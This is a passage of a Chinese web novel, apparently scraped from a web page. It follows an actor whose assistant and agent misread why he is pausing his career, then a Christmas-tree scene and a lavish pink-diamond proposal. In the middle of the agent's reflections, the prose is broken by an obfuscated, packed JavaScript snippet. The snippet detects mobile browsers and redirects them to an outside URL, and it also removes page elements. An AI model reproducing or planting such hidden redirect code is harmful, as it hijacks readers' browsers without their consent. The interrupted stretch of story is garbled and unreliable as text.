人不多话,不抢镜、不挡路,却能在任何一个节点准时出现,像片场定时刷新的NPC。 主线任务就四个字:照顾迟铎。 到点提醒喝水。 到点提醒吃饭。 到点提醒坐下。 甚至到点提醒不能站太久。 最要命的是,不准迟铎接触任何外来食物。 哪怕是工作人员顺手递过来的一小块饼干,同事间请的奶茶,也会被极其自然地挡回去。 “迟先生,现在不适合吃这些。” 声音温和,态度不容商量。 以前走群众路线的迟铎,突然摇身一变成高岭之花。 当所有嘉宾围着折叠桌吃剧组盒饭,聊得热火朝天时,迟铎被护送回保姆车。 餐盒摆好,里面是家厨定制菜,靠着座椅,让他一边吃一边休息,就差没用勺子喂到嘴边。 排场大得毫不遮掩,慈禧来了都甘拜下风。 迟铎捧着汤,面无表情地看向车窗外。 他已经能预见未来的热搜方向了。 #耍大牌# #二字男星与富婆# #少爷脾气# 想到这里,他忍不住抬头看了一眼站在车门外的管家。 对方站姿端正,不卑不亢,尽职尽责,像随时能掏出一个小本本,里面写满了“迟先生今日注意事项”。 迟铎:“……” 算了。 这口锅,他背。 李浩站在车外,整个人处在一种缓慢宕机的状态。 第一天,他只是觉得老板讲究一点,挺好。 第二天,他开始坐立难安。 第三天,他的思绪彻底脱缰。 他把迟铎拉到一边,压低声音,小心翼翼得像在做地下工作:“哥。” “嗯?” 李浩欲言又止,止了又欲,终于憋出一句:“你……是不是有什么事,没跟我说?” 迟铎看他一眼:“什么事?” 李浩眼神飞快扫了一圈,确认管家不在视线范围内,声音更低了:“哥,你身体还好吗?不好不要硬抗。” 迟铎一愣:“挺好的。” 李浩没信,又咽了口唾沫,继续试探:“那家里最近,还好吗?” 迟铎:“……” “你放心,我不是要八你隐私。”李浩飞快补充,“我就是觉得,这个阵仗有点像。” 他说到一半,自己停住了。 迟铎看着他:“像什么?” 李浩眼一闭,嘴一抖:“交代后事。” 迟铎:“???” 他差点一口气没顺上来。 “你再说一遍?”迟铎面无表情。 李浩立刻怂了:“不是不是,我不是那个意思。” 他赶紧换了个方向,小声又真诚: “我就是担心你。” “你看啊,吃的全换了,不能随意跟人接触,身边还全程跟着人。” “这要么是身体出大问题。”他掰着手指算,“要么是……” 他犹豫了一下,声音压到最低:“家里出了大事。” 迟铎:“……” 李浩越说越顺,顺到自己都快信了:“比如资金链断了。又或者被资本套住了。” 他深吸一口气,终于把最离谱的那句丢出来:“导致哥你被迫去傍金主了?” 更离谱的猜测他也有,但他不配说出口。给迟哥留点体面,也给自己留条命。 迟铎:“……” 李浩飞快补充:“我没有其他意思!真的!哥!” “现在这圈子什么情况我懂!” “你要是真那个,我也会替你保密的!” “做鸭也没什么不好,主要是你安全措施得……” 迟铎抬手,打断他:“停。” 李浩立刻闭嘴,站得笔直。 迟铎看着他,半晌,语气平静: “我没破产。” “也没要嗝。” “更没下海。” 李浩松了口气,松到一半,又觉得哪里不太对:“那现在这个情况是……” 迟铎想了想,如实回答:“被人管得比较严。” 李浩震惊:“……谁?” 迟铎看了他一眼:“家里人。” 李浩:“……” 空气安静了两秒。 他没敢问家里人的性别,脑海里却不合时宜地闪过那晚来接人的车,以及后座那种就你也配问的气场。 李浩忽然意识到什么,声音小心翼翼:“那我现在……是不是有点多余?” 迟铎沉默了一下,给了他一点人道主义安慰:“你暂时还在编制内。” 李浩心放了一半,另一半又被“暂时”两个字吊起来,悬空摇晃。 晚上收工。 一辆黑色路虎揽胜停在车库,相比裴总以往的座驾低调很多。尽管有司机和保姆车随时待命,裴与驰还是每天来接。 刚上车,迟铎安全带还没系好,就跟憋了一路似的开口:“李浩今天问我,是不是要交代后事了。” 裴与驰打火的手一顿,抬眼。 迟铎继续:“他还问我是不是家里破产,最后走投无路,下海做鸭。” 裴与驰:“……” 迟铎终于换了口气,又补一句:“我跟他解释,是家里人管得严。” 裴与驰侧头看他,伸手把他拉近了一点,语气还挺认可:“说得没错。” 迟铎靠过去,肩膀轻轻撞了他一下,绕回正题,忍辱负重地撒娇:“那你之后能不能稍微低调一点?” 裴与驰想了想,给了一个非常裴与驰的答案:“我尽量。” 迟铎:“……” 这三个字在他这儿,基本等于拒绝。 于是排场继续,一直到综艺最后一个镜头拍完,导演喊“收工”。 掌声响起来的时候,迟铎反而有点恍惚。 他把麦递回去,跟工作人员一一道别,上车时已经是傍晚。 车门一关,世界终于安静下来,静到手机震动都像重金属鼓点敲在耳膜上。 屏幕上跳出“王平柔”三个大字。 迟铎看了一眼,没急着接。一直等到车开出片场,拐上主路,他才按下通话键,还颇有先见之明地把手机挪远了一点。 “你疯了还是我疯了?”电话一通,对面就开火,“你跟我说你要把后面所有行程都推掉?” 迟铎:“最近的两个可以……” “你闭嘴。”王平柔语速极快,“你不接戏,不跑通告,不做品牌,不营业,你打算干嘛?” “你以为你是谁?” “你唱歌半吊子,演戏挑本子,还不愿媚粉,你唯一的固粉方式就是多晃悠,让人记住你这张脸!” “现在你跟我说停工停这么久?你就等着彻底 flop 然后nbcs吧!” “NBCS你知道吗??!!” 她骂得意犹未尽。 车窗外的路灯一盏盏掠过去。 迟铎沉默了几秒,才开口:“我知道。” 电话那头顿了一下:“你知道?那你还……” “我需要停一段时间。” 迟铎说。 不是解释,是结论。 王平柔那边沉默两秒,声音冷下来:“理由。我需要一个能说服我的理由。” 迟铎没立刻回答,他不想吓死经纪人。 “身体原因。” “严重吗?” “不严重。”迟铎答,“但不能继续这么跑行程。” 王平柔没再逼问。她深吸一口气,把情绪压住:“我会暂时帮你挡。但你要想清楚。” “我决定了。” “那你打算停多久?” 迟铎想了想:“拍完手上的,然后停至少一年。” “至少一年?”王平柔气笑了,“你还给自己留余地?” 迟铎没吭声。 王平柔陷入很长一段沉默。长到迟铎都能想象她在那边翻日历,算违约,算品牌,算综艺回访,顺便算他有没有良心。 “行。”她终于开口,“但在这之前我们得面谈。你别想用电话里一句‘身体原因’就打发我。” “停一年不符合常理,要么你重病,要么你犯病。” “我今晚就要见你。” 迟铎拗不过,只得发了地址。 王平柔来得很快。 门一开,她本来要开炮,结果炮口先偏了个航道。 裴与驰正在餐厅打电话。他抬眼看见王平柔,点了下头算打招呼,没多说,转身进了书房。 王平柔目光在书房门上停了一秒,随即猛地转回头,眼睛发亮:“你咋没跟我说你有个这么帅的朋友?” 迟铎:“……” 王平柔的职业雷达立刻上线:“他干什么的?” 迟铎:“……做金融的。” “啧,金融遍地渣男。长这么帅估计劣迹斑斑,做艺人容易塌房。”王平柔自顾自分析,“不过这圈本来也没啥好男人。” 她瞬间想通,抬头又问:“有没有兴趣进圈?有没有才艺?” 话说到一半,她自己拐弯:“算了,他这长相身材不需要才艺。跟你一样,当个帅气草包就行。” 被从线上一路侮辱到线下的迟铎终于受不了,抬手打断:“停。” 王平柔洗耳恭听。 迟铎:“我后面行程要取消。” 王平柔:“理由。” 迟铎清了清喉咙,组织半天,还是那句:“身体原因。” 王平柔目光在他身上扫两圈,脸色红润,站姿挺拔,气场比她还足。 “哪不舒服?”王平柔抱臂等回答。 见迟铎不语,她冷笑:“脑子有病?” 书房门开。 裴与驰接完电话出来,解救迟铎于炮火中:“明后天两个拍摄结束,他会正式停工。” 语气不带商量,只有陈述。 王平柔下意识接:“违约金谁……” “我们会全部承担。”裴与驰补了一句,“包括后续合作方的。” 空气静了两秒。 王平柔看看裴与驰,再看看迟铎,又把两个人从头到脚重新对了一遍。 她看向迟铎:“你真做鸭了?” 迟铎:“……” 王平柔掏出手机,开始复述“证据链”,像在法庭举证: 豪车接送。 管家盯饭。 行程封口。 她手指点点迟铎,眼神写得很清楚:这不是被包养是什么。 迟铎咬牙:“不是金主。” 王平柔不像李浩那么好糊弄。 迟铎索性把话说绝,直接把底牌翻桌:“我们马上会领证,去欧洲领。” 王平柔:“……” “领证?”她终于找回声音,“你说的领证,是我理解的那个领证?” 迟铎点头。 王平柔眼神发直两秒,缓慢吸气:原来不是金主,是家属。 “行。”她点头点得很慢,“你要是有什么难言之隐,去攀金主卖屁股,我都能先当没看见,反手给你买个‘替父还债,事出有因,忍辱负重’的励志通稿。” 迟铎:“……” 王平柔猛地抬手一指他,声音陡然拔高:“但你现在跟我说什么?!” “你一个当红炸子鸡,百万梦女粉拥有者,你当着我面出柜,还准备一步到位直接去欧洲领证?!” 王平柔冷笑: “你这不是恋爱,你这是给我送终。” 发泄完,她看着迟铎,半晌,像被现实反手抽了一巴掌,终于憋出一句: “你怎么突然就弯了?” 带迟铎之前,她提前做过职业风险评估。觉得他睡粉、出轨、耍大牌,三选一,总得中一个。 结果出道这几年,迟铎看着脸臭,倒没什么架子,工作也算配合。 睡粉更是天方夜谭。私生的手机和相机被他砸坏好几部,像纪律委员。 出轨也不可能。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16925424|191384||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p>出轨好歹得凑齐二女一男,但迟铎身边除了她和工作人员,连一个女性都凑不齐。别说出轨了,凑桌玩21点都差人。 王平柔一度以为自己走大运,天降紫微星砸到她头上。 现在她才明白,不是紫微星,是延时炸弹。 而且如果只是随通讯录大流,喜熊喜猪喜小脚裤,都还好洗。 梦女还能安慰自己,迟铎不看外表,对磕碜男嫂子不离不弃。嫂子越磕碜,自己越有戏。 但他偏偏找了个这款的。 她又看向裴与驰,认真打量。 裴与驰就面无表情地任她看,眼皮都没动一下。 一眼顶级alpha,再想起他提赔钱时轻描淡写的语气,王平柔咬牙。 老公变老婆,梦女自欺欺人都缺素材。 她们能接受“自家老公有嫂子”,但绝对接受不了“自家老公也有老公”。 顺直老公王都能为爱做零,她今后还怎么做艺人的风险评估。 王平柔越想越气,又越想越服气。 他找老公这手法要是用在事业上,现在估计已经三金提名在手,笑看疯狗了。 哦不对,二金。 金马滚开。 迟铎试图解释:“我们很早就认识。” 不是crush闪婚文学。 王平柔挑眉:“多早?” “十二年前。” 是竹马日久生情文学。 王平柔长了张嘴,半晌才把那口气吞回去,冷冷道:“你这柜门焊得挺结实。” “行,就算你忍辱负重偷偷做零多年。” 王平柔迅速进入业务模式,“那这跟停工有什么必然因果关系?” “领证需要你停工一年吗?” “……度蜜月。” 迟铎抓耳挠腮,顺手去拉了下裴与驰的袖口,浅浅撒了个娇。 他怕裴总一不耐烦,下一句就语出惊人。 裴与驰看了迟铎一眼,没说话,只是抬手把迟铎抓着他衣袖的手包进掌心,然后牵着人去沙发上坐下。 王平柔:“……” “有冇搞错啊?”她脱口而出,“你们认识十二年了,还有什么没过完的?” “我们刚在一起。”迟铎立刻纠正。 客厅里静了一瞬。 王平柔没说话。 她只是站在原地,像是被这句话拽回了某个时间点。 凌晨。 突如其来的电话。 那句一本正经的“我有一个朋友”。 还有迟铎当时明显躲闪的语气。 白富美。 高富帅。 多年好友。 王平柔缓缓吸了口气,语气听不出情绪:“所以那天,你跟我说的那个‘朋友’。” 迟铎:“……” “不是朋友。”她慢慢道,“是你自己。” 迟铎没接话。 我有一个朋友定律依旧牢不可破。 王平柔盯着他,忽然笑了一声,又很快收住:“你真行啊。” “为了忽悠我,还特意编了个‘白富美好朋友酒后乱性然后一奸成孕’的故事。” “我就寻思你哪来的女性好友。” 她顿了顿,像是被自己这句话噎了一下。 “不过当时还真骗到我了。” 空气安静下来。 迟铎:“……” 王平柔:“……” 那一瞬间,她脑子里把几条线拎起来,啪地扣在一起。 停工一年。 身体原因。 不细说。 不解释。 太巧了。 巧到不像编的。 可问题是,迟铎是个男人。 王平柔的表情慢慢收敛。 她没有再问,也没有再看迟铎,只是很快做了一个职业判断。 有些事,不是她该知道的。 知道了,也不该她确认。 “确认了,她就可能活不到明天。” 她清了清嗓子,语气恢复到公事公办:“行。” “停工的事,我帮你处理。” 她顿了一下,补得很轻:“理由我会按你给的来。” 迟铎抬头看她。 王平柔已经转身去翻手机,像刚才那段对话从未发生过。 回到家后,王平柔第一件事是卸妆洗澡。 今天信息量过大,她需要决定睡一觉,睡前原谅所有人和事。 她站在花洒底下想了三秒。 “算了,不睡了。” “原谅不了。” 当红炸子鸡自愿在家抠脚,疑似变身豪门贵妇养胎。 哪个经纪人听了不血压起飞。 她裹着浴袍走到冰箱,拿出一瓶啤酒,准备对瓶吹。 刚拧开瓶盖,手机震了一下。 银行转账提醒。 那数字像豪门的巴掌,瞬间把她的火气拍平了。 紧接着又一封新邮件。 一份页数很多的 NDA 协议。 附件名还很礼貌:请查收。 王平柔盯着两秒,点开,直接滑到最后一页。 签字栏里已经有人签过了,字很干净,力道也不犹豫。 裴与驰。 王平柔:“……” 她沉默一秒,又多沉默一秒。 然后切到浏览器,搜了一下这个名字,信息很少,又科学方式再搜一遍。 三分钟后,她把手机扣在桌上。 脸上的表情彻底冷静下来。 “行。” “我懂了。” 她把啤酒放回冰箱,动作轻得像在放下自己的职业操守。 下一秒,她出门。 某高档 SPA 会所。 她躺在床上,等技师盖上热毛巾,才慢慢拿起手机。 把育儿指南、孕期菜谱、情绪管理、产后恢复等资料一股脑发过去。 最后一条,她想了想,还是很懂事地收尾: 【感恩宝爸的馈赠】 【我已阅读并理解】 【保持节奏不要停】 【祝三年抱两】 祝贺完迟铎做男做女都精彩后,她把手机一扣。 闭眼。 深呼吸。 豪门秘辛她不懂。 她只懂一件事。 只要钱给到位,她就能24小时on call,并且记忆力奇差。 19.称呼 一周前,佳士得香港官网更新了秋拍结果页面。 配图里放了几件成交亮眼的珠宝,成交价最高的那款压轴品也在列。 微博上一个专扒豪门珠宝的百万粉号紧跟着搬运。 @豪门珠宝冷知识 《香港佳士得珠宝秋拍—15ct 粉紫圆钻戒指,约1,000万美元成交(匿名亚洲买家)》 九宫格高清细节图一甩,把这颗粉钻从正面到戒托,从火彩到实物上手,360度无死角地展示了个遍。 博主顺手丢了句对戒指的评价:大过泰勒斯,贵过乔治娜,仅次桑切斯。 末了还不忘带节奏,号召粉丝来猜,这枚“大鸡蛋”到底花落哪家亚洲贵妇手里。 这条博文一发出,评论区立刻热起来。 最近豪门婚礼扎堆,尤其是欧美贵妇们,你方唱罢我登场,鸽子蛋晒到麻木,吃瓜群众觉得一般钻戒已经不够看。白钻如果低于十克拉,博主懒得搬,粉丝也懒得回。 可这种体量的彩钻不一样。 矿里现挖都不一定说挖就挖得出来。匿名亚洲买家四个字一摆,底下立刻开始点名,像在开奖,猜是哪位亚洲贵妇为亚洲争光。 有人押香港某位,有人押新加坡那位,还有人把最近刚办婚礼和即将办婚礼的几家豪门挨个拉出来做排除法。证据五花八门,从爱马仕so粉鳄鱼皮铂金包,到最近宴会上身的粉色高定礼服,猜得信心十足。 猜得最凶的几条很快被顶上来。 评论区像提前过年。 贵妇粉也照例在评论区互撕,誓死捍卫自家贵妇脸上的乔雅登和保妥适。 不过大家心里都有数。 猜个乐呵而已。 真正的答案,迟早还是要等贵妇自己忍不住晒出来。 猜归猜,打归打,其实都在坐等年底各种宴会返图。 当然,这个瓜目前只是贵妇圈的自嗨。 和迟铎没什么关系。 他那会儿正在棚里拍最后一组片。 拍完这组,就正式停工。 这次是品牌给他撕下来的杂志封面,室内棚拍,不算累,摄影师还是老熟人,按理说流程闭着眼都能走完。 但让这位老熟人下巴差点掉地上的,是另一件事。 一向没架子、好说话的迟铎,这次排场大得有点吓人。 宛如乾隆他妈下江南。 灯光稍微对得久一点,棚内温度刚往上飘一度,就有个西装笔挺、看着彬彬有礼的男人走过来。 语气温和,却不容商量:“麻烦暂停一下。” 然后他当场给迟铎戴上挂脖式制冷风扇,还顺手替他擦了下汗。 动作轻,手法熟练。 显然不是第一次干这种事。 水更是讲究。 矿泉水一律不碰。 哪怕是依云。 至于更高端的水,这边没预算。 一个迟铎的小迷妹工作人员激动得手都在抖,趁着间隙想给他递一瓶矿泉水。 还没递到近前,就被那位西装男毫不留情地挡了回去。 “抱歉。” 语气很客气,态度却写明没得商量。 迟铎感受着工作人员那些隐秘又不加掩饰的目光,听着周围压低的窃窃私语。 他突然觉得,李浩之前猜他是不是快不行了,也不是一点道理都没有。 毕竟换作他自己,看见这种阵仗,也会往那个方向想。 行将就木,吊着一口气出来给自己挣点丧葬费。 这个念头刚在脑子里转完,摄影棚那头就传来导演的声音,语气放得很低,还带着点不自觉的讨好:“好,迟老师,我们要不来最后一组?” 迟铎站回背景板前,表情收得很稳。 灯光重新亮起,角度调整,快门声一阵接一阵,拍摄十分顺利。 毕竟,拍帅哥就是省事。 西装男站在一旁,全程紧盯。 中途有一次灯光对位稍微拖了点时间,他就直接往前走了半步。 摄影师眼疾手快,立刻示意加快。 没人说什么。 但所有人都很配合。 最后一声快门落下,导演低头看了眼监视器,点了点头:“行了。” 这两个字一出,像是盖了章。 迟铎迎着一连串“迟老师今天辛苦了”的背景音走下来。 工作人员的目光跟着他走了一路,又在他抬眼之前各自移开。 有人明显松了口气,有人还没看够,还有人压着声音感叹了一句:“今天也太夸张了。” 迟老师不语。 只在心里想,等他们知道他要长期停工,八成会把今天这场,当成送终。 他接过毛巾,擦了下手,换好衣服。 李浩递来手机,行程表已经被清空得干干净净。 这是他最后一个工作。 也是他正式停工的开始。 综艺结束后,迟铎的行李就从片场的临时住宅打包到了裴与驰的固定住所里。 营养师、管家、厨师一应俱全,都是从裴宅调过来的。 嘴很严,服务很贴心。 显然是打算把少奶奶和小少爷/小小姐一块儿伺候明白。 迟铎对此早已麻木。 裴与驰独裁,说一不二,他调过来的人也都一个路子,清一色 NPC本C。 耳朵里只能接收“照顾他”这一个指令。 至于我自己来、不用这么麻烦这些反抗,统一判定为环境噪音。 连他们的耳朵都没经过。 抗争不过,那就躺平。 迟铎回到家,发现裴与驰竟然也在。 他坐在客厅,戴着蓝牙耳机开会,语速很快。 看到迟铎晃进来,他对着耳机又说了两句,直接掐断。 “你怎么在家?” “从今天起,我都远程办公。” 迟铎愣了一下。 先是无语,怎么以前没发现裴与驰这么粘人,紧接着热意就慢慢爬上了脸颊。 “你不是说,最近项目很忙吗?”依旧是迟铎式生硬转移话题。 “嗯。” “那你还?” “在家也能忙。除非有必要,我再去。” 裴与驰看着他,语气十分理所当然:“你现在,不适合我不在。” 迟铎几乎没过脑子,脱口而出:“那你工作也推成这样……奶粉钱怎么办?” 话落下去的瞬间,客厅里没有任何停顿。 每个人继续做各自的事。 动作很轻,轻到明显是听见了。 迟铎:“……” 他是疯了吗??还是误食了几斤菌子???? 他到底是怎么做到,连想都没想,就把这种话问出来的。 而且还问得这么自然。 裴与驰看了他一眼。 那一眼很短,像是确认他在想什么。 然后才开口,语气依旧理所当然:“裴太放心。” 停了一下。 “养得起。” 迟铎恨不得找个地缝钻进去。 可房子装修得太考究,连地缝都显得不太好找。 他只能装作在认真欣赏客厅的摆件。 没想到裴与驰还不打算放过他。 “还站着干什么?” “坐过来。” 裴与驰等了两秒,“你要我抱你过来?” 迟铎深知这句话的份量,利索地坐了过去。 下一秒,裴与驰把笔记本往旁边一合。 动作很随意,像是终于腾出了手。 迟铎还没反应过 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动作不大,距离却刚刚好,近到裴与驰能清楚地听见他的呼吸。 “老公。” 声音软得不像话。 手上动作却不停,还在慢吞吞但有规律地拨弄着,像在点火,还偏要装无辜。 裴与驰:“……” 他的呼吸明显重了一拍。 迟铎看见了,心里顿时平衡了不少。 憋了一下午的账,终于找到机会结算。 他又往前凑了一点。 嘴唇几乎是擦着身边人的耳廓。 热意顺着呼吸落下去。 耳朵在触碰和气息里慢慢升温。 迟铎终于满意,维持着这个距离,用几乎听不清的气声说: “晚安。” 话音落下的同时,他退得利索干净。 被子一拉,翻身,背对,闭眼,一气呵成。 裴与驰:“……” 房间里安静了几秒。 随后是被子掀开的轻响,拖鞋的落地。 浴室门合上,水声很快响起。 迟铎在被子里偷偷弯了弯唇角。 这下,公平了。 第二天早上,迟铎醒来,心情出奇地好。 他慢吞吞地坐起来,脚刚踩到地上,卧室门就被推开。 裴与驰已经换好衣服,语气和平时没什么区别:“醒了?” 停了一下。 “昨晚睡得好吗?” 迟铎:“……” 他盯着裴与驰看了两秒。 没看懂。 不做才能不错。 所以他决定不答。 裴与驰好像也不需要答案,侧身对门外示意。 佣人抱着一样东西进来,先礼貌地跟迟铎打了声招呼,然后就开始往床上铺。 动作熟练,目标明确。 迟铎:“?” 他下意识看向裴与驰,用眼神询问。 裴与驰靠在门边,双手抱臂,语气懒懒的,像是在解释一件再普通不过的小事: “防水垫。” 迟铎:“……” 这一句话落下,昨晚的画面齐刷刷闪回。 顺带着,把今晚可能发生的情况,也提前播了一遍。 完了。 他面无表情地想。 做人,果然不能太嚣张。 今晚要是叫他一百声老公, 还有救吗。 20.槲寄生 早上做完检查,迟铎在脑子里排练了无数个借口想跑。 结果裴与驰一个都没采纳。 他只好老老实实坐进车里。 帽子压到眉骨,口罩拉到鼻梁,外套拉链拉到下巴。 停工不停脸,他是真怕了那群私生。 安全带扣好,车门关上,车开出去一段。 迟铎才后知后觉地意识到一件事。 这不是回家的路线。 他侧头看了一眼驾驶座上的人。 裴与驰单手握着方向盘,另一只手搭在中控台上,神情和平时没什么区别。 “去哪儿?”迟铎问。 “买点东西。”裴与驰答。 这回答过于笼统,等于没说。 迟铎想再追问两句,又觉得多此一举。 反正以他现在这个社会闲杂人员的身份,裴与驰要去哪,他就跟着去呗。 车开了将近半个小时,最后停在一个花卉市场门口。 车刚停稳,迟铎就闻到了一股不合时宜的松木味。 他扭头看向窗外。 一排排云杉,深绿,挺拔,修剪得规规整整。 迟铎愣了一下。 “你带我来这儿干什么?” 他确认了一眼招牌,又确认了一眼时间。 “现在才十月底。” 裴与驰解开安全带,顺手帮他把帽檐又压低一点,才开口:“买树。” 迟铎:“……” 下车前他又把口罩往上扯了扯,确认自己只剩一双眼睛能见人,才跟着走进市场。 一路看过去,全是已经修剪好的云杉,枝叶饱满,颜色深绿。 怎么看都不像是这个时间点该登场的东西。 “你现在买圣诞树?”迟铎还是没忍住,“是不是有点太早了?” “提前准备。”裴与驰说。 不会坏吗? 这四个字在迟铎喉咙里转了一圈,还是被他咽回去。 他站在原地,看着工作人员把一棵棵树往外推,脑子却不受控制地跑偏了一下。 他在心里替还没出生的那位默哀了一秒,不管是女儿还是儿子。 摊上这么一个爹,估计刚出生就要开始跟时间赛跑。 别人是赢在起跑线。 裴与驰这是直接想胜天半子。 以后写作文,《我的爸爸》八百字,九百字都在大谈特谈爸爸的时间管理成功学。 迟铎光想就觉得头疼。 事已至此,随遇而安吧。 迟铎一秒加入挑树大军。 “这棵不行。” 他指了指离得最近的一棵,“有点歪。” 裴与驰顺着他的视线看了一眼,没反驳,往旁边挪了一步。 “这棵也不行。” “这棵针叶太散。” “这个看着就掉针。” 他说得头头是道,像个临时上岗的质检员。 裴与驰站在旁边,偶尔应一声,更多时候只是看着,任由他挑。 最后定下来的是一棵迟铎看着很顺眼的云杉。 工作人员准备打包的时候,迟铎忽然意识到一个问题。 “等等。” 他皱了下眉,“这树放家里?” “嗯。” 迟铎脑补了一下走极简性冷淡风的客厅,突然多出一棵挂满装饰的圣诞树的画面。 也……还行吧。 他沉默了两秒,没再说什么。 算了。 反正这个家里,连时间都拗不过裴与驰。 买完树,把地址留给老板后,裴与驰又带着迟铎去买装饰。 迟铎原本以为,无非就是灯串、彩球、松果这一套。 结果车停下来的时候,他抬头看了一眼招牌,心里先沉了一下。 他戴着到眼睛的口罩在门口站了两秒,还是跟了进去。 装饰区已经提前摆出了圣诞主题。 颜色丰富,风格热闹。 迟铎盯着其中一棵金色样品树看了几秒,神情逐渐一言难尽。 提早一个多月买圣诞树也就算了。 装饰圣诞树用的,为什么是 Hello Kitty。 他慢慢转头,看向身边的人。 “你认真的吗?这是要挂在客厅的。” 语气很轻,生怕被别人听到,但理解不能。 裴与驰看了一眼挂在树正中间的巨大猫猫头,神情没有任何波动。 “你不是喜欢?” 迟铎:“……” 他脑子里闪了一下。 毕业典礼那天的画面像没关掉的弹窗,啪地跳出来。 他端着那束巨大得离谱的Hello Kitty永生花,硬挤着裴与驰往前走。 还逢人就摇头解释,这是裴与驰的品味。 说得理直气壮。 迟铎站在原地,沉默了三秒。 终于想起来自己当年到底造过什么孽。 然后他非常冷静地开口:“我现在审美已经升级了。” 语气笃定,态度端正。 “那是年轻不懂事。” “现在不一样。” 裴与驰看着他,没接话。 迟铎被这份沉默看得有点心虚,又补了一句:“再说了,我当时送的是花,不是装饰。” 这话刚说完,他自己先觉得站不住脚。 裴与驰伸手,从架子上取下一个金色蝴蝶结挂件,低头看了看,“差不太多。” 说完,他已经示意店员,要那棵两米高样品树的一整套装饰。 店员为难地提醒:“这个要和这棵PE材质的树一起买。” 裴与驰头都不抬,直接付了钱。 “我只要装饰。” “树你们处理掉。” 迟铎张了张嘴,最终还是没拦。 说实话,人家拿金树配这套是有点道理的。 拿绿油油的云杉来,简直就是…… 让自家客厅社会性死亡。 算了。 凯蒂猫就凯蒂猫吧。 反正被丑到的,也不是他一个人。 再说了。 这个家里,最后拍板的人,本来也不是他。 云杉是傍晚送到家的。 工作人员把树固定好,又把几箱装饰一并搬进来,确认稳当后就退了出去。 黑白为主色调的极简风客厅里,多了一棵葱葱绿绿的大树。 树后面是纯黑的岛台。 迟铎站在原地看了两秒,心情有点复杂。 倒也不是丑。 就是……太丑。 裴与驰把装饰箱打开,里面的东西一股脑铺在地毯上。 彩灯、挂件、蝴蝶结。 还有一整套毫不掩饰存在感的 Hello Kitty,还是黑金配色。 迟铎:“……” 他下意识环顾了一下四周。 客厅里已经安静下来,只剩他们两个。 “你确定要全用?” 他语气还算克制,“会不会有点……” 话没说完,裴与驰已经把灯串接了过去。 “这圈你别动。” 他说得很随意,“中间的给你。” 他抬手把最上面一圈的灯线理好,又弯下身,把靠近地面的那一段顺了一遍。 动作很快,像是早就分好工。 迟铎站在原地,接过递来的那段灯。 高度刚好,手一伸就能够到。 他顺着树干慢慢绕了一圈。 不用踮脚,也不用弯腰。 裴与驰在他对面,把高处和低处都补完。 中间这一段,一直空给他。 灯线绕到尾声的时候,迟铎才后知后觉地发现, 自己从头到尾都是站着的。 灯刚绕完,准备开始挂装饰的时候,裴与驰的手机震了一下。 他低头看了一眼屏幕。 “我去拿点东西。” 语气和平时没什么区别。 他顺手把那袋挂件往迟铎手边一放。 “你先挑中间的挂。” 迟铎正盯着那堆辣眼的挂件,纠结怎么挂才不至于把客厅送走,只随口应了一声:“嗯。” 裴与驰离开后,客厅又安静下来。 迟铎站在树前,看着那一袋装饰,迟疑了几秒,还是伸手去翻。 黑金配色的Hello kitty和它脑门上的蝴蝶结一个比一个理直气壮。 挂在哪儿都很有存在感。 他拿起那只硕大猫猫头,挂在中间偏里一点的位置。 挂完退后两步看效果。 ……不行。 还是很丑。 迟铎面无表情地把它往里推了推,假装自己没看见。 迟铎还在和凯蒂猫们较劲,低声嘀咕:“这个真的不行。” “别动。” 裴与驰的声音从身后传来。 迟铎动作一顿,下意识停住,转过身。 裴与驰站在他身后,手里多了两样东西。 一圈绿枝花环。 还有一小束已经缠好丝带的槲寄生。 迟铎的视线在那两样东西上停了一瞬。 “你这是……” 话没说完,他又想起什么, “你什么时候弄来的?” “刚让人送上来。”裴与驰说。 他抬手,把那束槲寄生挂了上去。 动作干脆,没有多余停顿。 迟铎站在一旁,看着那条丝带被绕好、打结。 “中间的给你。” 裴与驰低头看了他一眼。 迟铎没多问,把花环挂在树中段的位置。 枝叶垂下来,刚好落在两人之间。 他退后半步,想看看效果。 下一秒,视线还没完全对焦,裴与驰已经低下头。 就这么亲了下来。 槲寄生在头顶轻轻晃了一下。 迟铎怔了一瞬,下意识伸手,抓住了他的衣襟。 客厅里很安静。 圣诞树站在中央。 那只带蝴蝶结的黑金猫猫头也亮着大眼睛看着,距离近得离谱。 吻结束得很快。 裴与驰退开一点,看着他,语气很寻常:“行了。” 迟铎:“……” 他张了张嘴,原本想说点什么。 结果一个字都没出来。 他脑子里忽然闪回。 圣诞假期,德国小镇。 他们跟着人流往前走,前面好几对情侣忽然停下。 然后在一栋不起眼的房子前,接了一个很自然的吻。 当时他还愣了一下,抬头看。 屋檐下,正垂着一束这样的绿枝。 “这是什么?”他那时候问。 “槲寄生。”裴与驰回答。 “干嘛的?” “站在下面的情侣接吻,可以得到祝福。” 迟铎回过神。 祝福。 他突然意识到,这不是一时起意。 而是早就算好的。 下一秒。 裴与驰从口袋里拿出一个小盒子。 迟铎的视线落在那个盒子上,心脏像被人捏了一下。 他几乎是本能地猜到了里面是什么。 盒子打开。 灯光下,一颗巨大的粉钻亮得不讲道理。 迟铎:“……” 求婚戒指,他猜到了。 这种求婚戒指,他没猜到。 他脑子里“嗡”一下。 那句“你对高调的理解挺朴素”在这一秒变得特别清晰。 迟铎原本给自己设的能接受上限是:五六克拉,白钻。 就算这样,拿着给他,给一个男人求婚,也已经够炸裂了。 结果现实告诉他: 不是上限。 是起步。 这颗至少大两倍。 不是鸽子蛋,是鸡蛋。 还他妈是粉的。 迟铎盯着它,两眼一黑,一口气没上来。 他抬头,指着那颗粉钻,声音发飘:“你要我戴这玩意?” 裴与驰看着他,语气很淡:“如果你答应求婚的话。” 迟铎还没来得及骂,裴与驰已经把戒指从盒子里取出来。 指腹捏着戒圈,抬眼。 “迟铎。” “跟我结婚。” 迟铎:“……” 他沉默三秒。 懒得回答那个显而易见的问题。 尤其对方也压根就没问。 最后只挤出几个字: “……就戴这一次。” 裴与驰不甚在意地点了下头。 